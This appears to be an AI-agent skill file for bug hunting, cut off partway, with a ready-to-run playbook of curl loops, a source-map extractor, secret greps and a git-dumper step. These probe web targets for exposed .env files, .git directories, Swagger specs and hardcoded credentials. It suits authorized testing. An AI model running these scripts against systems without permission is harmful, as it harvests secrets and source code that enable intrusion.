$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-source-leakHunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest
| 1 | # HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage |
| 2 | |
| 3 | ## Crown Jewel Targets |
| 4 | |
| 5 | Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map. |
| 6 | |
| 7 | **Highest-value findings:** |
| 8 | - **`.js.map` source maps** — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses |
| 9 | - **`swagger.json` / `openapi.json`** — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names |
| 10 | - **`.env` / `.env.production`** — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext |
| 11 | - **`.git/` exposure** — `git clone` the entire source history → all past hardcoded secrets |
| 12 | - **`asset-manifest.json` / `_next/static/`** — all JS bundle paths → systematic source map discovery |
| 13 | - **`build-info` / `info.json`** — git commit hash, build timestamp, dependency versions → CVE targeting |
| 14 | |
| 15 | --- |
| 16 | |
| 17 | ## Phase 1 — Quick Wins (Run First) |
| 18 | |
| 19 | ```bash |
| 20 | # These 10 requests take <30 seconds and often yield Critical findings |
| 21 | for PATH in \ |
| 22 | "/.env" \ |
| 23 | "/.env.production" \ |
| 24 | "/.env.local" \ |
| 25 | "/.git/HEAD" \ |
| 26 | "/swagger.json" \ |
| 27 | "/api/swagger.json" \ |
| 28 | "/v1/swagger.json" \ |
| 29 | "/openapi.json" \ |
| 30 | "/api/openapi.json" \ |
| 31 | "/api-docs"; do |
| 32 | STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH") |
| 33 | if [ "$STATUS" = "200" ]; then |
| 34 | echo "[+] HIT: https://$TARGET$PATH" |
| 35 | head -5 /tmp/sl_test |
| 36 | echo "---" |
| 37 | fi |
| 38 | done |
| 39 | ``` |
| 40 | |
| 41 | --- |
| 42 | |
| 43 | ## Phase 2 — Source Map Discovery |
| 44 | |
| 45 | ```bash |
| 46 | # Step 1: Get asset manifest to find all JS bundle paths |
| 47 | curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null |
| 48 | curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3 |
| 49 | |
| 50 | # Next.js |
| 51 | BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+') |
| 52 | curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5 |
| 53 | |
| 54 | # Step 2: For each JS bundle, check for source map reference at end of file |
| 55 | for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do |
| 56 | LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1) |
| 57 | echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL" |
| 58 | done |
| 59 | |
| 60 | # Step 3: Download and reconstruct source from .map files |
| 61 | JS_URL="https://$TARGET/static/js/main.abc123.js" |
| 62 | MAP_URL="${JS_URL}.map" |
| 63 | curl -s "$MAP_URL" | python3 -c " |
| 64 | import sys, json, os |
| 65 | data = json.load(sys.stdin) |
| 66 | sources = data.get('sources', []) |
| 67 | contents = data.get('sourcesContent', []) |
| 68 | for i, (src, content) in enumerate(zip(sources, contents)): |
| 69 | if content: |
| 70 | path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','') |
| 71 | os.makedirs(os.path.dirname(path), exist_ok=True) |
| 72 | with open(path, 'w') as f: |
| 73 | f.write(content) |
| 74 | print(f'[+] Extracted: {src}') |
| 75 | " |
| 76 | |
| 77 | # Step 4: Grep extracted source for secrets |
| 78 | grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null |
| 79 | grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20 |
| 80 | grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20 |
| 81 | ``` |
| 82 | |
| 83 | --- |
| 84 | |
| 85 | ## Phase 3 — Swagger / OpenAPI Discovery |
| 86 | |
| 87 | ```bash |
| 88 | # Common paths |
| 89 | SWAGGER_PATHS=( |
| 90 | "/swagger.json" "/swagger.yaml" "/swagger/" |
| 91 | "/api/swagger.json" "/api/swagger.yaml" |
| 92 | "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json" |
| 93 | "/openapi.json" "/openapi.yaml" |
| 94 | "/api/openapi.json" "/api-docs" "/api-docs.json" |
| 95 | "/api/v1/swagger.json" "/api/v2/swagger.json" |
| 96 | "/rest/swagger.json" "/rest/api-docs" |
| 97 | "/.well-known/openapi.json" |
| 98 | "/graphql/schema.json" |
| 99 | ) |
| 100 | |
| 101 | for PATH in "${SWAGGER_PATHS[@]}"; do |
| 102 | STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH") |
| 103 | if [ "$STATUS" = "200" ]; then |
| 104 | echo "[+] Found: https://$TARGET$PATH" |
| 105 | # Extract all API paths from swagger |
| 106 | python3 -c " |
| 107 | import sys, json |
| 108 | try: |
| 109 | d = json.load(open('/tmp/swagger_test')) |
| 110 | paths = list(d.get('paths', {}).keys()) |
| 111 | print(f'Endpoints: {len(paths)}') |
| 112 | print('\n'.join(sorted(paths))) |
| 113 | except: pass |
| 114 | " | head -50 |
| 115 | fi |
| 116 | done |
| 117 | ``` |
| 118 | |
| 119 | --- |
| 120 | |
| 121 | ## Phase 4 — .git Exposure |
| 122 | |
| 123 | ```bash |
| 124 | # Check if .git directory is accessible |
| 125 | curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!" |
| 126 | |
| 127 | # If exposed, reconstruct repo |
| 128 | # Tool: git-dumper |
| 129 | pip3 install git-dumper |
| 130 | git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/ |
| 131 | |
| 132 | # Grep for secrets in all git history |
| 133 | cd /tmp |